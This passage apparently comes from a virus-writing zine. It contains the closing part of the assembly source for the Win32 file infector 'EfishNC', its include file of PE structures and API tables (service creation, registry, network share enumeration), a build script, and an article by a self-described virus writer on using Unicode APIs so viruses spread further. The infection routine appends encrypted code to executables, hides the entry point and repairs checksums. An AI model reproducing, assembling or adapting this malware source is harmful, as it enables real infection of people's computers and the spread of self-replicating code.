; (push ebp+mov ebp, esp) with end (mov esp, ebp+pop ebp) at
; least as large as decryptor then save bytes and overwrite with
; small oligomorphic decryptor and body is encrypted using xlat
; table so is like having 256 keys
; variable number of garbage bytes placed on both sides of body
;-----------------------------------------------------------------------------
infect_file label near ;esi -> findlist, edi = map view
call open_append
delta_label label near
push ecx
push edi
mov ebx, dword ptr [edi + mzhdr.mzlfanew]
lea ebx, dword ptr [ebx + edi + pehdr.pechksum]
movzx eax, word ptr [ebx + pehdr.pecoff.pesectcount - pehdr.pechksum]
imul eax, eax, size pesect
movzx ecx, word ptr [ebx + pehdr.pecoff.peopthdrsize - pehdr.pechksum]
add eax, ecx
lea esi, dword ptr [ebx + eax + pehdr.pemagic - pehdr.pechksum - size pesect + pesect.sectrawsize]
lods dword ptr [esi]
mov cx, grbgsize + tblsize + grbgsize + vsize + randsize + grbgsize
mov edx, dword ptr [ebx + pehdr.pefilealign - pehdr.pechksum]
push eax
add eax, ecx
dec edx
add eax, edx
not edx
and eax, edx ;file align last section
mov dword ptr [esi + pesect.sectrawsize - pesect.sectrawaddr], eax
;-----------------------------------------------------------------------------
;raw size is file aligned. virtual size is not required to be section aligned
;so if old virtual size is larger than new raw size, then size of image does
;not need to be updated, else virtual size must be large enough to cover the
;new code, and size of image is section aligned
;-----------------------------------------------------------------------------
mov ebp, dword ptr [esi + pesect.sectvirtaddr - pesect.sectrawaddr]
cmp dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr], eax
jnb test_reloff
mov dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr], eax
add eax, ebp
mov edx, dword ptr [ebx + pehdr.pesectalign - pehdr.pechksum]
dec edx
add eax, edx
not edx
and eax, edx
mov dword ptr [ebx + pehdr.peimagesize - pehdr.pechksum], eax
;-----------------------------------------------------------------------------
;if relocation table is not in last section, then append to last section
;otherwise, move relocations down and insert code into space
;-----------------------------------------------------------------------------
test_reloff label near
test byte ptr [ebx + pehdr.pecoff.peflags - pehdr.pechksum], IMAGE_FILE_RELOCS_STRIPPED
jne copy_code
cmp dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], ebp
jb copy_code
mov eax, dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr]
add eax, ebp
cmp dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], eax
jnb copy_code
add dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], ecx
pop eax
push esi
add edi, dword ptr [esi]
lea esi, dword ptr [edi + eax - 1]
lea edi, dword ptr [esi + ecx]
xchg ecx, eax
std
rep movs byte ptr [edi], byte ptr [esi]
cld
pop esi
pop edi
push edi
push ecx
xchg ecx, eax
copy_code label near
pop edx
add ebp, edx
xchg ebp, eax
add edx, dword ptr [esi]
add edi, edx
pop eax
push eax
push ecx
push edi
push esi
xchg edi, eax
call find_epo
push decsize
pop ecx
mov edi, offset orgbytes - offset delta_label
add edi, dword ptr [esp + infectstk.infseh.mapsehsehret]
;delta offset
push ecx
push esi
rep movs byte ptr [edi], byte ptr [esi]
inc edi
stos dword ptr [edi] ;store_restore
pop edi
pop ecx
pop esi
pop eax
push eax
sub eax, dword ptr [esi]
add eax, dword ptr [esi + pesect.sectvirtaddr - pesect.sectrawaddr]
store_copysrc label near
mov esi, '!bgr'
sub eax, edx
sub eax, esi
add eax, dword ptr [ebx + pehdr.peimagebase - pehdr.pechksum]
store_baseptr label near
mov edx, '!bgr'
inc edx
add eax, dword ptr [edx]
xchg dword ptr [edx], eax
push esi
store_decsrc label near
mov esi, '!bgr'
rep movs byte ptr [edi], byte ptr [esi]
mov dword ptr [edx], eax
push ebx
mov ebx, esi
mov cx, offset efishnc_codeend - offset efishnc_inf
mov esi, offset efishnc_inf - offset delta_label
add esi, dword ptr [esp + 4 + infectstk.infseh.mapsehsehret]
;delta offset
store_encdst label near
mov edi, '!bgr'
xlat_encrypt label near
lods byte ptr [esi]
xlat byte ptr [ebx]
stos byte ptr [edi]
loop xlat_encrypt
pop ebx
pop esi
pop edi
pop ecx
rep movs byte ptr [edi], byte ptr [esi]
pop edi
;-----------------------------------------------------------------------------
;CheckSumMappedFile() - simply sum of all words in file, then adc filesize
;-----------------------------------------------------------------------------
xchg dword ptr [ebx], ecx
jecxz infect_ret
xor eax, eax
pop ecx
push ecx
inc ecx
shr ecx, 1
clc
calc_checksum label near
adc ax, word ptr [edi]
inc edi
inc edi
loop calc_checksum
pop dword ptr [ebx]
adc dword ptr [ebx], eax ;avoid common bug. ADC not ADD
infect_ret label near
int 3 ;common exit using SEH
db "*4U2NV*" ;that is, unless you're reading this
test_infect endp
regdll db "advapi32", 0 ;place < 80h bytes from end for smaller code
efishnc_codeend label near
efishnc_inf endp
end dropper
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[EFISHNC.ASM]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[EFISHNC.INC]ÄÄÄ
MAX_PATH equ 260
FILE_ATTRIBUTE_HIDDEN equ 00000002h
FILE_ATTRIBUTE_DIRECTORY equ 00000010h
FILE_ATTRIBUTE_NORMAL equ 00000080h
FILE_FLAG_RANDOM_ACCESS equ 10000000h
CREATE_ALWAYS equ 2
OPEN_EXISTING equ 3
GENERIC_WRITE equ 40000000h
GENERIC_READ equ 80000000h
GMEM_FIXED equ 0
GMEM_ZEROINIT equ 40h
REG_SZ equ 1
HKEY_CURRENT_USER equ 80000001h
HKEY_LOCAL_MACHINE equ 80000002h
HKEY_USERS equ 80000003h
SC_MANAGER_CREATE_SERVICE equ 2
SERVICE_START equ 10h
SERVICE_WIN32_OWN_PROCESS equ 10h
SERVICE_AUTO_START equ 2
DRIVE_FIXED equ 3
DRIVE_REMOTE equ 4
IMAGE_FILE_MACHINE_I386 equ 14ch ;14d/14e do not exist. if you don't believe, then try it
IMAGE_FILE_RELOCS_STRIPPED equ 0001h
IMAGE_FILE_EXECUTABLE_IMAGE equ 0002h
IMAGE_FILE_32BIT_MACHINE equ 0100h
IMAGE_FILE_SYSTEM equ 1000h
IMAGE_FILE_DLL equ 2000h
IMAGE_FILE_UP_SYSTEM_ONLY equ 4000h
IMAGE_SUBSYSTEM_WINDOWS_GUI equ 2
IMAGE_SUBSYSTEM_WINDOWS_CUI equ 3
SECTION_MAP_WRITE equ 0002h
FILE_MAP_WRITE equ SECTION_MAP_WRITE
PAGE_READWRITE equ 04
RANDPADMIN equ 4096
RANDPADMAX equ 2048 ;RANDPADMIN is added to this
RESOURCE_GLOBALNET equ 2
RESOURCETYPE_DISK equ 00000001
ERROR_MORE_DATA equ 234
RESOURCEUSAGE_CONNECTABLE equ 00000001
RESOURCEUSAGE_CONTAINER equ 00000002
MAX_PREFERRED_LENGTH equ 0ffffffffh
LM20_NNLEN equ 12
statelen equ 624
period equ 397
tshiftU equ 0bh
tshiftS equ 7
tmaskB equ 9d2c5680h
tshiftT equ 0fh
tmaskC equ 0efc60000h
tshiftL equ 12h
matrixA equ 9908b0dfh
grbgsize equ 8192 ;power of 2
tblsize equ 256 ;fixed (xlat table)
randsize equ 4096 ;power of 2, vsize + randsize must be < 8192, else stack fault
;so: grbgsize garbage, table, grbgsize garbage, buffer, randsize garbage
;or: grbgsize garbage, buffer, randsize garbage, table, grbgsize garbage
decsize equ 20h ;very small :) must be >= 20h
;global state
state_decdown equ 1 ;else up
state_esifirst equ 2 ;else ebx first
state_pushret equ 4 ;else jmp esp
state_pushb equ 8 ;push at begin else push at end
state_movesi equ 10h ;else lodsb
state_movedi equ 20h ;else stosb
state_jg equ 40h ;jl(e)/jb(e) else jg(e)/jnb(e)
;block 1 state ;log2, not bit value
state_loadebx equ 0 ;hard-coded
state_loadesi equ 1
state_entered equ 2
state_loadedi equ 3
state_std equ 4
state_pushreg1 equ 5
block1and equ 7
block1cmp equ 6
block1done equ (1 shl state_loadebx) or (1 shl state_loadesi) or (1 shl state_entered) \
or (1 shl state_loadedi) or (1 shl state_std) or (1 shl state_pushreg1)
;block 2 state
state_lods equ 0
state_xlat equ 1
state_stos equ 2
state_incesi equ 3
state_incedi equ 4
state_cmp equ 5
state_branch equ 6
state_pushreg2 equ 7 ;hard-coded
state_ret equ 1 ;state_esifirst overloaded
block2and equ 0fh
block2cmp equ 9
vsize equ (offset efishnc_codeend - offset efishnc_inf + 3) and -4
align 1 ;byte-packed structures
expcrcstk struct
pWriteProcessMemory dd ?
pWriteFile dd ?
pWinExec dd ?
pSetFileAttributesA dd ?
pMoveFileA dd ?
pLoadLibraryA dd ?
pGlobalFree dd ?
pGlobalAlloc dd ?
pGetWindowsDirectoryA dd ?
pGetTickCount dd ?
pGetTempFileNameA dd ?
pGetFileAttributesA dd ?
pGetCurrentProcess dd ?
pDeleteFileA dd ?
pCreateFileA dd ?
pCloseHandle dd ?
expcrcstk ends
expcrc_count equ size expcrcstk shr 2
regcrcstk struct
rRegSetValueA dd ?
rRegCreateKeyA dd ?
rRegCloseKey dd ?
rOpenSCManagerA dd ?
rCreateServiceA dd ?
rCloseServiceHandle dd ?
regcrcstk ends
regcrc_count equ size regcrcstk shr 2
popsize equ 0ch + size regcrcstk + size expcrcstk
execrcstk struct
eLoadLibraryA dd ?
eGlobalAlloc dd ?
eGetVersion dd ?
eGetTickCount dd ?
eGetStartupInfoW dd ?
eGetStartupInfoA dd ?
eGetCommandLineW dd ?
eGetCommandLineA dd ?
eExitProcess dd ?
eCreateProcessW dd ?
eCreateProcessA dd ?
execrcstk ends
execrc_count equ size execrcstk shr 2
usrcrcstk struct
uCharNextW dd ?
uCharNextA dd ?
usrcrcstk ends
usrcrc_count equ size usrcrcstk shr 2
svccrcstk struct
sStartServiceCtrlDispatcherA dd ?
svccrcstk ends
svccrc_count equ size svccrcstk shr 2
startupinfo struct
sicb dd ?
siReserved dd ?
siDesktop dd ?
siTitle dd ?
sidwX dd ?
sidwY dd ?
sidwXSize dd ?
sidwYSize dd ?
sidwXCountChars dd ?
sidwYCountChars dd ?
sidwFillAttribute dd ?
sidwFlags dd ?
siwShowWindow dw ?
sicbReserved2 dw ?
silpReserved2 dd ?
sihStdInput dd ?
sihStdOutput dd ?
sihStdError dd ?
startupinfo ends
processinfo struct
pihProcess dd ?
pihThread dd ?
pidwProcessId dd ?
pidwThreadId dd ?
processinfo ends
krncrcstk struct
klstrlenW dd ?
klstrcpyW dd ?
klstrcatW dd ?
kUnmapViewOfFile dd ?
kSleep dd ?
kSetFileTime dd ?
kSetFileAttributesW dd ?
kSetFileAttributesA dd ?
kSetCurrentDirectoryW dd ?
kSetCurrentDirectoryA dd ?
kMultiByteToWideChar dd ?
kMapViewOfFile dd ?
kLoadLibraryA dd ?
kGlobalFree dd ?
kGlobalAlloc dd ?
kGetVersion dd ?
kGetTickCount dd ?
kGetFullPathNameW dd ?
kGetFullPathNameA dd ?
kGetDriveTypeA dd ?
kFindNextFileW dd ?
kFindNextFileA dd ?
kFindFirstFileW dd ?
kFindFirstFileA dd ?
kFindClose dd ?
kCreateThread dd ?
kCreateFileMappingA dd ?
kCreateFileW dd ?
kCreateFileA dd ?
kCloseHandle dd ?
krncrcstk ends
krncrc_count equ size krncrcstk shr 2
sfccrcstk struct
sSfcIsFileProtected dd ?
sfccrcstk ends
sfccrc_count equ size sfccrcstk shr 2
netcrcstk struct
nWNetOpenEnumW dd ?
nWNetOpenEnumA dd ?
nWNetEnumResourceW dd ?
nWNetEnumResourceA dd ?
nWNetCloseEnum dd ?
netcrcstk ends
netcrc_count equ size netcrcstk shr 2
ip9xcrcstk struct
ip9xNetShareEnum dd ?
ip9xcrcstk ends
ip9xcrc_count equ size ip9xcrcstk shr 2
ipntcrcstk struct
ipntNetShareEnum dd ?
ipntNetApiBufferFree dd ?
ipntcrcstk ends
ipntcrc_count equ size ipntcrcstk shr 2
coffhdr struct
pemachine dw ? ;04
pesectcount dw ? ;06
petimedate dd ? ;08
pesymbrva dd ? ;0C
pesymbcount dd ? ;10
peopthdrsize dw ? ;14
peflags dw ? ;16
coffhdr ends
pedir struct
dirrva dd ?
dirsize dd ?
pedir ends
pehdr struct
pesig dd ? ;00
pecoff coffhdr <?>
pemagic dw ? ;18
pemajorlink db ? ;1A
peminorlink db ? ;1B
pecodesize dd ? ;1C
peidatasize dd ? ;20
peudatasize dd ? ;24
peentrypoint dd ? ;28
pecodebase dd ? ;2C
pedatabase dd ? ;30
peimagebase dd ? ;34
pesectalign dd ? ;38
pefilealign dd ? ;3C
pemajoros dw ? ;40
peminoros dw ? ;42
pemajorimage dw ? ;44
peminorimage dw ? ;46
pemajorsubsys dw ? ;48
peminorsubsys dw ? ;4A
pereserved dd ? ;4C
peimagesize dd ? ;50
pehdrsize dd ? ;54
pechksum dd ? ;58
pesubsys dw ? ;5C
pedllflags dw ? ;5E
pestackmax dd ? ;60
pestacksize dd ? ;64
peheapmax dd ? ;68
peheapsize dd ? ;6C
peldrflags dd ? ;70
pervacount dd ? ;74
peexport pedir <?> ;78
peimport pedir <?> ;80
persrc pedir <?> ;88
peexcpt pedir <?> ;90
pesecurity pedir <?> ;98
pereloc pedir <?> ;A0
pedebug pedir <?> ;A8
pearch pedir <?> ;B0
peglobal pedir <?> ;B8
petls pedir <?> ;C0
peconfig pedir <?> ;C8
pebound pedir <?> ;D0
peiat pedir <?> ;D8
pedelay pedir <?> ;E0
pecom pedir <?> ;E8
persrv pedir <?> ;F0
pehdr ends
peexp struct
expflags dd ?
expdatetime dd ?
expmajorver dw ?
expminorver dw ?
expdllrva dd ?
expordbase dd ?
expadrcount dd ?
expnamecount dd ?
expadrrva dd ?
expnamerva dd ?
expordrva dd ?
peexp ends
mzhdr struct
mzsig dw ? ;00
mzpagemod dw ? ;02
mzpagediv dw ? ;04
mzrelocs dw ? ;06
mzhdrsize dw ? ;08
mzminalloc dw ? ;0A
mzmaxalloc dw ? ;0C
mzss dw ? ;0E
mzsp dw ? ;10
mzchksum dw ? ;12
mzip dw ? ;14
mzcs dw ? ;16
mzreloff dw ? ;18
mzfiller db 22h dup (?) ;1A
mzlfanew dd ? ;3C
mzhdr ends
tib struct
ExceptReg dd ?
StackBase dd ?
StackLimit dd ?
SubSystem dd ?
FiberData dd ?
UserPointer dd ?
TibSelf dd ?
TibUnknown dd 5 dup (?)
TibTeb dd ?
tib ends
teb struct
tebUnknown dd 6 dup (?)
heaphand dd ?
tebUnknown2 dd ?
procflags dd ?
teb ends
FILETIME struct
dwLowDateTime dd ?
dwHighDateTime dd ?
FILETIME ends
WIN32_FIND_DATA struct
dwFileAttributes dd ?
ftCreationTime FILETIME <?>
ftLastAccessTime FILETIME <?>
ftLastWriteTime FILETIME <?>
dwFileSizeHigh dd ?
dwFileSizeLow dd ?
dwReserved0 dd ?
dwReserved1 dd ?
cFileName dw 260 dup (?)
cAlternateFileName dw 14 dup (?)
WIN32_FIND_DATA ends
findlist struct
findprev dd ?
findhand dd ?
finddata WIN32_FIND_DATA <?>
findlist ends
sehstruc struct
sehkrnlret dd ?
sehexcptrec dd ?
sehprevseh dd ?
sehstruc ends
pesect struct
sectname db 8 dup (?)
sectvirtsize dd ?
sectvirtaddr dd ?
sectrawsize dd ?
sectrawaddr dd ?
sectreladdr dd ?
sectlineaddr dd ?
sectrelcount dw ?
sectlinecount dw ?
sectflags dd ?
pesect ends
mapsehstk struct
mapsehprev dd ?
mapsehexcpt dd ?
mapsehregs dd 8 dup (?)
mapsehsehret dd ?
mapsehinfret dd ?
mapsehstk ends
mapstack struct
mapfilesize dd ?
mapmapret dd ?
mapinfret dd ?
mapattrib dd ?
mapstack ends
infectstk struct
infcopysrc dd ?
infcopydst dd ?
infcopysize dd ?
infmapview dd ?
inffilesize dd ?
infseh mapsehstk <?>
infectstk ends
NETRESOURCE struct
dwScope dd ?
dwType dd ?
dwDisplayType dd ?
dwUsage dd ?
lpLocalName dd ?
lpRemoteName dd ?
lpComment dd ?
lpProvider dd ?
NETRESOURCE ends
wnetlist struct
wnetprev dd ?
wnethand dd ?
wnetlist ends
SERVICE_TABLE_ENTRY struct
lpServiceName dd ?
lpServiceProc dd ?
lpServiceName0 dd ?
lpServiceProc0 dd ?
SERVICE_TABLE_ENTRY ends
share_info_1nt struct
shi1_netnament dd ?
shi1_typent dd ?
shi1_remarknt dd ?
share_info_1nt ends
share_info_19x struct
shi1_netname9x db LM20_NNLEN + 1 dup (?)
shi1_pad1 db ?
shi1_type9x dw ?
shi1_remark9x dd ?
share_info_19x ends
align ;restore default alignment
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[EFISHNC.INC]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[UNICODE.TXT]ÄÄÄ
United Nations
ANSI and Unicode
roy g biv / defjam
-= defjam =-
since 1992
bringing you the viruses of tomorrow
today!
About the author:
Former DOS/Win16 virus writer, author of several virus families, including
Ginger (see Coderz #1 zine for terrible buggy example, contact me for better
sources ;), and Virus Bulletin 9/95 for a description of what they called
Rainbow. Co-author of world's first virus using circular partition trick
(Orsam, coded with Prototype in 1993). Designer of the world's first XMS
swapping virus (John Galt, coded by RTFishel in 1995, only 30 bytes stub, the
rest is swapped out). Author of world's first virus using Thread Local
Storage for replication (Shrug) and world's first Native executable virus
(Chthon). Author of various retrovirus articles (eg see Vlad #7 for the
strings that make your code invisible to TBScan). Went to sleep for a number
of years. This is my fourth virus for Win32.
I'm also available for joining a group. Just in case anyone is interested. ;)
What is Unicode?
Unicode is a standard for character set encoding that supports many more
characters than ANSI character set does, and without needing any code pages.
Sounds great, but why should I care?
For the languages that cannot be supported properly by the ANSI character set
(eg Arabic and Hebrew), directories and files can be created that no ANSI
function can access. Also, no ANSI function can calculate even a simple thing
like string length of a DBCS text unless the language is known. In Unicode,
none of these things is a problem... except that Windows 9x/Me has only little
Unicode support, even if the Microsoft Layer for Unicode is used (because MSLU
relies on code pages). This means that a virus cannot spread as far because
it relies on APIs that are limited. As people move to Windows XP and other
NT-based operating systems and Asian languages become the most widely used in
the computer world, this becomes even more important for us.
So the problem is...
We want to use ANSI functions where we must (Windows 9x/Me) and Unicode
functions where we can (Windows NT/2000/XP), all without duplicating code.
And the solution?
Group together the address of functions and use indexed calls to access them.
When combined with some small support code, transparent support is easy.
Example that finds arguments on command-line in platform-independent way:
;esp -> CharNextW, CharNextA, GetCommandLineW, GetCommandLineA
call GetVersion
shr eax, 1fh ;eax = 0 if Unicode platform
; 1 if ANSI platform
lea esi, dword ptr [eax * 4 + esp] ;esi -> CharNextW if Unicode platform
; CharNextA if ANSI platform
dec eax
mov al, 0ffh
movzx edi, ax ;edi = ffff if Unicode platform
; 00ff if ANSI platform
call dword ptr [esi + 8] ;call platform-specific GetCommandLine
mov ebx, dword ptr [eax]
and ebx, edi ;mask Unicode or ANSI character
cmp ebx, '"' ;Unicode-compatible compare
je skip_argv0 ;filename will end with '"'
push ' '
pop ebx ;filename will end with ' '
skip_argv0:
push eax
call dword ptr [esi] ;call platform-specific CharNext
mov ecx, dword ptr [eax]
and ecx, edi ;mask Unicode or ANSI character
je no_args
cmp ecx, ebx ;found end of filename?
jne skip_argv0 ;no, continue
find_argv1:
push eax
call dword ptr [esi] ;call platform-specific CharNext
mov ecx, dword ptr [eax]
and ecx, edi ;mask Unicode or ANSI character
cmp ecx, ' ' ;Unicode-compatible compare
je find_argv1 ;skip spaces until argument or end
jecxz no_args
[work with arguments here]
no_args:
Example that calculates string length in bytes:
;esp -> lstrlenW, lstrlenA
;esi -> string
call GetVersion
shr eax, 1fh ;eax = 0 if Unicode platform
; 1 if ANSI platform
push esi
call dword ptr [eax * 4 + esp] ;call platform-specific lstrlen
;lstrlenW if Unicode platform
;lstrlenA if ANSI platform
xchg ebp, eax ;save character count
call GetVersion
sar eax, 1fh ;eax = 00000000 if Unicode platform
; ffffffff if ANSI platform
inc eax ;eax = 1 if Unicode platform
; 0 if ANSI platform
xchg ecx, eax
shl ebp, cl ;convert character count to byte count
Example that checks if file is protected by SFC:
SfcIsFileProtected takes a Unicode (not multibyte) full path (not filename)
so L"explorer.exe" is not protected, but L"c:\winnt\explorer.exe" is protected
;esp -> GetFullPathNameW, GetFullPathNameA
;esi -> filename to check
enter MAX_PATH * 2, 0 ;maximum size required for path
mov ecx, esp
push eax ;create space for filename variable
push esp
push ecx
push MAX_PATH ;buffer size is characters, not bytes
push esi
call GetVersion
shr eax, 1fh ;eax = 0 if Unicode platform
; 1 if ANSI platform
inc eax ;allow for saved ebp on stack
call dword ptr [eax * 4 + ebp] ;call platform-specific GetFullPathName
;GetFullPathNameW if Unicode platform
;GetFullPathNameA if ANSI platform
xchg edi, eax ;save character count
pop eax ;discard filename
xor ebx, ebx
call GetVersion
test eax, eax
jns call_sfc ;branch if Unicode platform
mov ecx, esp
xchg ebp, eax ;save ebp (no push - enter alters esp)
enter MAX_PATH * 2, 0 ;maximum space required for path
xchg ebp, eax ;restore ebp for single leave later
mov eax, esp
push MAX_PATH ;buffer size is characters, not bytes
push eax
inc edi ;include null terminator
push edi
push ecx
push ebx ;use default translation
push ebx ;CP_ANSI
call MultiByteToWideChar ;convert ANSI path to Unicode path
call_sfc:
mov ecx, 'rgb!' ;replace by SfcIsFileProtected or 0
xor eax, eax ;fake success in case of no SFC
jecxz skip_sfc
push esp
push ebx
call ecx
skip_sfc:
leave
test eax, eax
jne ignore_file ;non-zero if file is protected
[work with unprotected file]
ignore_file:
For more examples, see my other sources, such as Shrug and EfishNC, which
contain directory traverser, and IP address to UNC path converter.
Greets to the old Defjam crew:
Prototype, RTFishel, Obleak, and The Gingerbread Man
rgb/dj feb 2002
iam_rgb@hotmail.com
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[UNICODE.TXT]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MAKE.BAT]ÄÄÄ
@echo off
if %1.==. goto usage
%tasm32%\bin\tasm32 /r /ml /m9 /os /p /q /w2 /zn %1
if errorlevel 1 goto end
%tasm32%\bin\tlink32 /c /B:400000 /Tpe /aa /x /n %1.obj,,,%tasm32%\lib\import32.lib,
del %1.obj
goto end
:usage
echo.
echo Usage: MAKE filename
echo eg. MAKE EFISHNC
echo requires %tasm32% set to TASM directory (eg C:\TASM)
:end
echo.
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MAKE.BAT]ÄÄÄ